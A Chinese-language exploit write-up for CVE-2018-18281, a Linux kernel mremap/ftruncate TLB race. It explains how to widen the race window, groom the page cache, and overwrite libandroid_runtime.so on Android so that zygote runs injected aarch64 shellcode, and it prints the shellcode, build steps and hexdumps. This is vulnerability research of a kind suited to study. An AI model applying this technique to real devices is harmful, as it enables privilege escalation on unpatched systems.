不管是 mremap 还是 ftruncate, 底层实现会将 X 和 Y 按照 pmd 为单位循环执行上表的操作,
即上表所说的 X 页表实际指的是 X 内存区域里的某个 pmd, 这里是为了表达方便简化处理,
下面的描述也是一样.

这里存在的竞态条件是当 4.3 已经执行完毕 (3.1.3 释放 Y 锁 4.1 就可以执行), 地址 Y 的内存已经释放, 物理页面已经返回给 伙伴系统 , 并再一次分配给新的虚拟内存, 而此时 3.2 还没有执行, 这种情况下, 虽然 X 的映射关系在页表里已经被清空, 但在 TLB 缓存里没有被清空, 线程 C 依然可以访问 X 的内存, 造成地址复用

1
2
3
4
5
6
7
8
注意:

除了可以用 ftruncate 函数来跟 mremap 竞争, 还有一个 linux 系统特有的
系统函数 fallocate 也可以起到同样的效果, 原因很简单,
fallocate 和 ftruncate 的底层调用链是一样的

sys_fallocate()->shmem_fallocate()->shmem_truncate_range()
->shmem_undo_range()->truncate_inode_page()->unmap_mapping_range

v4.9 之前的内核都是上述列表显示的代码逻辑

v4.9 之后的内核, move_ptes 的逻辑与上述有些许不同

1
2
3
4
5
6
7
注意:

在 versions > 4.9 的 linux 内核, Dirty 标记的页面会在 move_ptes 函数内部刷新 TLB ,
而不是等到 3.2 由 flush_tlb_range 函数去刷新, 因此, race 发生之后,
线程 C 能通过 X 访问到的内存都是之前 non-Dirty 的页面, 即被写过的页面都无法复用.

这点改变会对 poc 和 exploit 造成什么影响? 留给大家思考.

简单版的 poc

根据上述分析, 一个简单的 poc 思路就出来了, 通过不断检测线程 C 从地址 X 读取的内容是不是初始内容就可以判断 race 是否被触发, 正常情况下, C 读取 X 只会有两种结果, 一种是 mremap 彻底完成, 即 3.2 执行完毕, 此时地址 X 为无效地址, C 的读操作引发进程奔溃退出, 第二种是 mremap 还未完成, C 读取的地址返回的是 X 的初始内容, 只有这两种情况才符合 mremap 函数的定义. 但是由于漏洞的存在, 实际运行会存在第三种情况, 即 C 读取 X 不会奔溃(3.2 还没执行, 地址映射还有效), 但内容变了( 4.3 执行完毕, 物理页面已经被其他地方复用)

这份 poc 可以清晰看出 race 是怎么发生的, 需要注意, 这份 poc 必须配合内核补丁才能稳定触发 race , 否则命中率非常低, 补丁通过在 move_page_tables 函数调用 flush_tlb_range 之前(即 3.2 之前)增加一个大循环来增大 race 条件的时间窗口以提高命中率

上述 poc 的运行结果是, 大部分情况下 poc 奔溃退出, 少数情况下读取 X 会返回一个被其他地方复用的页面

这离稳定提权还有很远的距离, 为了得到稳定利用, 至少有两个问题需要解决:

  • 如何提高 race 的命中率
  • 怎么实现提权

如何提高 race 的命中率

要提高本漏洞 race 的命中率, 就是要增大 move_ptes 函数和 flush_tlb_range 函数之间的时间间隔

1
怎么才能增加这俩函数执行的时间间隔呢?

这里要引入linux内核的 进程抢占 概念, 如果目标内核是可抢占的 (CONFIG_PREEMPT=y) , 则如果能让进程在执行 flush_tlb_range 函数之前被抢占, 那么 race 的时间窗口就够大了, 用户空间的普通程序能不能影响某个进程的调度策略呢? 答案是肯定的.

有两个系统函数可以影响进程的调度

使用这两个函数将 poc 修改为下面的方案,

新建 A,B,C,D 四个线程:

  • 1) A 映射一个文件 a 到地址 X, A 绑定到核 c1, A 调度策略设置为 SCHED_IDLE
  • 2) C 绑定到核 c1, C 阻塞在某个 pipe, pipe 返回则调用 ftruncate 将文件 a 的文件大小改为 0
  • 3) A 调用 mremap 重新映射 X 到 Y, 这将执行下面两个函数:
    • 3.1) move_ptes
    • 3.2) flush_tlb_range
  • 4) D 绑定到核 c2, 监控进程的内存映射情况,如果发生变化则通过写 pipe 唤醒 C
  • 5) B 绑定到核 c3, 循环读取 X 的内容, 并判断是否还是初始值
1
2
3
4
注意:

mremap 执行 move_ptes 函数会引发内存状态变化, 这种变化可以通过
用户态文件 /proc/pid/status 文件获取, 这就是线程 D 的作用

此时, 通过监控线程 D 唤醒 C, 由于A 和 C 绑定在同一个核心 c1, 且 A 的调度策略被设置
为最低优先级 SCHED_IDLE, C 的唤醒将抢占 A 的执行, 如此一来, 3.2 的执行就可能被延迟.
C 被唤醒后立即执行 ftruncate 释放 Y 的内存触发漏洞.

通过上述方案可以理论上让线程 A 在执行 3.1 后, 执行 3.2 前被挂起,
从而扩大 3.1 和 3.2 的时间间隔

这个 poc 是根据上述思路写的

改进版的 poc

实测发现上述 poc 触发率还是低, 借鉴 Jann Horn 的思路, 继续如下修改 poc

改进版方案: 新建 A,B,C,D,E 五个线程:

  • 1) A 映射一个文件 a 到地址 X, A 绑定到核 c1, A 调度策略设置为 SCHED_IDLE
  • 2) C 绑定到核 c1, C 阻塞在某个 pipe, pipe 返回则立即将 A 重新绑定到核 c4, 并调用 ftruncate 将文件 a 的文件大小改为 0
  • 3) A 调用 mremap 重新映射 X 到 Y
    • 3.1) move_ptes
    • 3.2) flush_tlb_range
  • 4) D 绑定到核 c2, 监控进程的内存映射情况,如果发生变化则通过写 pipe 唤醒 C
  • 5) B 绑定到核 c3, 循环读取 X 的内容, 并判断是否还是初始值
  • 6) E 绑定到核 c4, 执行一个死循环.

改进的地方有两点, 1 是增加一个 E 线程绑定到核 c4 并执行死循环, 2 是线程 C 被唤醒后立刻重绑定线程 A 到核 c4, 即让 A 和 E 在同一个核上

这个改变会提高 race 触发的命中率, 个人判断原因是由于当 C 的管道返回后手动执行重绑定操作会比执行其他操作更容易导致 A 立即被挂起

改进版 poc 代码 是根据上述思路写的

利用这个 poc, 我们可以将这个漏洞的 race 命中率提升到可以接受的程度.

物理页面管理

现在我们可以在比较短的时间内稳定触发漏洞, 得到一片已经被释放的物理页面的使用权,
而且可读可写, 怎么利用这一点来提权?

这里需要了解物理内存的分配和释放细节, 物理内存管理属于伙伴系统, 参考 内存管理

物理页面的管理是分层的:

  • node: NUMA 体系架构有 node 的概念, 不同 node 的物理内存是分开管理的
  • zone: 根据物理内存的区域分若干种 zone, 不同场景会优先向不同的 zone 分配 , 比如用户空间申请内存, 会优先从 ZONE_NORMAL 这个 zone 分配, 如果不够再从其他 zone 分配
    • ZONE_DMA
    • ZONE_NORMAL
    • ZONE_HIGHMEM
    • 其他
  • migration-type: 内核根据可迁移性对页面进行分组管理, 用于 anti-fragmentation, 可以参考 内核页面迁移与反碎片机制
    • MIGRATE_UNMOVABLE
    • MIGRATE_RECLAIMABLE
    • MIGRATE_MOVABLE

__alloc_pages_nodemask 函数是 zoned buddy allocator 的分配入口, 它有快慢两条路径:

  • get_page_from_freelist , 快路径
    • 1) if order == 0, 从 per-cpu 的指定 zone 指定 migratetype 的 cache list 里获取 page
      • pcp = &this_cpu_ptr(zone->pageset)->pcp
      • list = &pcp->lists[migratetype]
      • page = list_entry(list->next, struct page, lru);
    • 2) __rmqueue_smallest : 在指定迁移类型下自底向上进行各阶遍历查找所需的空闲页面
      • area = &zone->free_area[current_order]
      • list = &area->free_list[migratetype]
      • page = list_entry(list->next, struct page, lru);
    • 3) __rmqueue_cma, 连续内存分配器 用于DMA映射框架下提升连续大块内存的申请
    • 4) __rmqueue_fallback, 如果在指定迁移类型下分配失败,且类型不为MIGRATE_RESERVE时, 就在 fallbacks 数组里找到下一个 migratetype, 由此获得的阶号和迁移类型查找zone->free_area[]->free_list[]空闲页面管理链表
  • __alloc_pages_slowpath, 慢路径

从漏洞利用的角度, 我们希望将漏洞释放的物理页面尽可能快的被重新分配回来, 所以, 用来触发漏洞释放物理页面的场景和重新申请物理页面用来利用的场景, 这两种场景的 zone, migratetype 最好一致, 而且这两个场景的触发最好在同一个 cpu core 上.

比如, 触发漏洞时, 通过用户空间 mmap 一片地址, 然后访问这片地址触发物理内存分配, 这种分配大概率是从 ZONE_NORMAL 而来, 而且页面大概率是 MIGRATE_MOVABLE 的, 然后用 ftruncate 释放, 这些页面很可能会挂在当前 cpu 的 freelist 上. 所以, 漏洞利用的时候如果是在其他 cpu core 触发申请物理页面, 则可能申请不到目标页面, 或者, 触发申请物理页面的场景如果是某种 dma 设备, 那么也大概率命中不到目标页面.

怎么实现提权

根据上述物理内存管理的分析, 选择使用文件的 page cache 用于重新申请目标物理页面, 在此基础上, 想办法实现提权

linux 上硬盘文件的内容在内核用 page cache 来维护, 如果漏洞触发后释放的页面被用于某个文件的 page cache, 则我们拥有了读写该文件的能力, 如果这个文件恰好是用户态的重要动态库文件, 正常情况下普通进程无法改写这种文件, 但通过漏洞普通进程可以改写它, 这样就可以通过修改动态库文件的代码段来提权.

上述利用思路的关键有3点:

  • 选择目标动态库文件
  • 选择目标文件要改写的位置
  • 提高目标位置所在页面的命中率

这个动态库必须是能被高权限进程所使用
目标位置最好是页面对齐的, 这样目标位置可以以页面为单位加载进内存, 或者以页面为单位置换到硬盘
目标位置被调用的时机不能太频繁, 要不然修改操作会影响系统稳定性, 而且调用时机必须可以由普通进程触发

下面是一个符合上述条件的动态库和函数:

  • libandroid_runtime.so 动态库
  • com_android_internal_os_Zygote_nativeForkAndSpecialize 函数
    • 这个函数被 zygote 调用, zygote 进程是一个特权进程
    • 这个函数在 libandroid_runtime.so (pixel2 PQ1A.181105.017.A1) 文件的偏移是 0x157000, 这个偏移是页面对齐的
    • 这个函数一般情况下不会被调用, 只有启动新的 app 时会被 zygote 调用, 可以由普通 app 触发 zygote 去执行

利用思路

漏洞触发 race 后, 让释放的物理页面刚好被用于目标页面( libandroid_runtime.so 文件的 offset = 0x157000 这个页面), 再可以通过 UAF 地址注入 shellcode 到目标位置, 从而改写 com_android_internal_os_Zygote_nativeForkAndSpecialize 函数的代码逻辑, 最后发消息触发 zygote 去执行 shellcode

如何提高文件 page cache 命中率

这节解决的问题是, 怎么控制 race 释放的页面刚好能被目标页面使用

这篇论文 的 section VIII-B 介绍了一种算法用于精确控制一个 file page cache 的加载

  • 1) 打开一个大文件 a, mmap 到内存
  • 2) 打开目标文件 b, mmap 到内存
  • 3) 在一个循环内, 执行:
    • 3.1) 按照 pagesize 逐页面读取 a 的内容
      这会导致内核申请大量 page cache 来装载文件 a, 
      从而迫使其他文件的 page cache 被置换到硬盘
    • 3.2) 判断目标页面 X 是否在内存里, 如果不是, 跳转到 4.1
  • 4) 在一个循环内, 执行:
    • 4.1) 按照 pagesize 逐页面读取 b 的内容, 但遇到目标页面 X 则跳过
      这会导致目标文件除目标页面 X 之外其他页面被重新装载回内存
    • 4.2) 判断目标页面 X 是否在内存里, 如果是, 跳转到 3.1
  • 5) 如果读取完全部 b 的内容, 目标页面 X 仍然没有在内存里, 结束.

通过上述算法, 可以让一个目标文件的目标页面 X 被置换到硬盘, 而该文件其他页面保留在内存里, 这样在漏洞触发之后, 再来访问目标页面, 则很大机会会分配刚刚释放的物理页面给目标页面

1
2
3
4
注意:

mincore 函数可以用来判断一个区域内的内存是在物理内存中或被交换出磁盘
上述算法在 linux 的实现依赖于 mincore

exploit code

我改了一份exploit 代码 在这里, 主要包含下面几个文件:

  • compile.sh
  • shellcode.s
  • exp.c
  • watchdog.c

compile.sh

这是编译脚本

1
2
3
4
5
1) aarch64-linux-gnu-as arm_shellcode.s -o arm_shellcode.o  
2) aarch64-linux-gnu-ld arm_shellcode.o -o arm_shellcode
3) aarch64-linux-gnu-objcopy --dump-section .text=arm_shellcode.bin arm_shellcode
4) xxd -i arm_shellcode.bin > arm_shellcode.h
5) make

1~3 是将汇编文件 arm_shellcode.s 编译成二进制并将可执行文件的代码段 (.text) 提取到文件 arm_shellcode.bin

4 使用 linux 的 xxd 工具将 arm_shellcode.bin 放进一个 c 语言分格的数组,后续在 c 代码里以数组变量的形式操作它

5 根据 Android.mk 编译可执行文件

shellcode.s

下面简单看一下 shellcode.s 汇编,不感兴趣可以略过

  • shellcode.s 本身很简单: 读取文件 “/proc/self/attr/current” ,然后将读取的内容作为参数调用 sethostname 函数,从而更改系统的 hostname

  • 因为普通 app 没有权限调用系统函数 ‘sethostname’, 本 exploit 通过注入 shellcode.s 到 libandroid_runtime.so, 然后触发 zygote 进程执行 shellcode.s 达到越权执行的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
// open file
_start:
mov x0, #-100
adrp x1, _start
// NOTE: We are changing the page-relative alignment of the shellcode, so normal
// aarch64 RIP-relative addressing doesn't work.
add x1, x1, attr_path-file_start
mov x2, #0
mov x8, #0x38
svc #0

attr_path:
.ascii "/proc/self/attr/current\0"

第一段汇编作用是 open 文件 “/proc/self/attr/current”, #0x38 是系统调用号,对应系统调用 __NR_openat (系统调用号定义: include/uapi/asm-generic/unistd.h), 将 0x38 放入 x8 寄存器,svc #0 指令触发软中断,进入内核系统调用, 根据 openat 函数的定义, x1 寄存器存放要打开的文件路径的地址, x0 和 x2 这里忽略.

这段汇编执行后,x0寄存器存放返回值,即打开文件的 fd

1
2
3
4
5
6
// read from file
sub sp, sp, #128
mov x1, sp
mov x2, #128
mov x8, #0x3f
svc #0

第二段汇编执行 read 系统调用,读取 128 字节放入栈, #0x3f 对应系统调用 read, x0 存放要读取文件的 fd, x1 是栈顶指针 sp, 在此之前,sp 被移动了#128 字节,相当于一个 128 字节的栈数组作为 buf传给 read 函数第二个参数, x2 是要读取的长度, 这里是 128

这段汇编执行后, sp 指向的位置存放文件 ‘/proc/self/attr/current’ 的内容

1
2
3
4
5
// shove file contents into hostname
mov x1, x0
mov x0, sp
mov x8, #0xa1
svc #0

第三段汇编执行 sethostname 系统调用, #0xa1 对应系统调用 sethostname, x0 即要更新的域名字符串, 这里放入 sp 指针, 即将上一步 read 函数读取的 buf 值作为 sethostname 的参数 name, x1 是长度, 这里值是上一步read 的返回值

这段汇编执行后, hostname 将被更新为文件 ‘/proc/self/attr/current’ 的内容

watchdog.c

这个文件的作用是不断调用 exp 可执行文件并监控 exploit 是否成功, 之所以需要这个主调程序是由于这个漏洞在触发的时候, 大部分情况会引发程序奔溃, 这时候需要一个看门狗程序不断重启它

exp.c

这个文件实现了 exploit 的主体功能

  • kickout_victim_page 函数
  • idle_worker 线程
  • spinner 线程
  • nicer_spinner 线程
  • read_worker 线程
  • segv_handler 函数

kickout_victim_page 函数实现了 如何提高文件 page cache 命中率 的算法, 最开始执行

idle_worker 线程用于触发 mremap 调用, 先绑定到 c1, spinner 唤醒后重绑定 idle_worker 到 c3, 调度策略为 SCHED_IDLE , 其他线程都是普通调度策略

spinner 线程用于触发 fallocate (跟 ftruncate 效果类似) 调用, 绑定到 c2

nicer_spinner 线程绑定到 c3, 用于抢占 idle_worker 的 cpu 使用权

read_worker 线程绑定到 c4, 用于监控目标内存, 一旦发现 race 成功触发, 则注入 shellcode 到目标内存

segv_handler 函数是段错误处理函数, 这里会再一次检测 shellcode 是否已经成功注入到目标文件, 如果是, 则通知 watchdog 停止重启 exp

执行 exploit 之前, libandroid_runtime.so 如下

1
2
3
4
5
6
7
8
9
10
adb pull /system/lib64/libandroid_runtime.so

root@jiayy:CVE-2018-18281# xxd -s 0x157000 -l 100 libandroid_runtime.so
00157000: 0871 0091 5f00 08eb c000 0054 e087 41a9 .q.._......T..A.
00157010: e303 1f32 0800 40f9 0801 43f9 0001 3fd6 [email protected]...?.
00157020: 2817 40f9 a983 5af8 1f01 09eb e110 0054 ([email protected]
00157030: ff03 1191 fd7b 45a9 f44f 44a9 f657 43a9 .....{E..OD..WC.
00157040: f85f 42a9 fa67 41a9 fc6f c6a8 c003 5fd6 ._B..gA..o...._.
00157050: f801 00b0 d901 00b0 ba01 00f0 7b02 00f0 ............{...
00157060: 9c01 0090

执行 exploit 之后, libandroid_runtime.so 如下

1
2
3
4
5
6
7
8
9
10
adb pull /system/lib64/libandroid_runtime.so

root@jiayy:CVE-2018-18281# xxd -s 0x157000 -l 100 libandroid_runtime.so
00157000: 0000 20d4 0000 20d4 600c 8092 0100 0090 .. ... .`.......
00157010: 2120 0191 0200 80d2 0807 80d2 0100 00d4 ! ..............
00157020: ff03 02d1 e103 0091 0210 80d2 e807 80d2 ................
00157030: 0100 00d4 e103 00aa e003 0091 2814 80d2 ............(...
00157040: 0100 00d4 0000 0014 2f70 726f 632f 7365 ......../proc/se
00157050: 6c66 2f61 7474 722f 6375 7272 656e 7400 lf/attr/current.
00157060: eaff ff17 ....

引用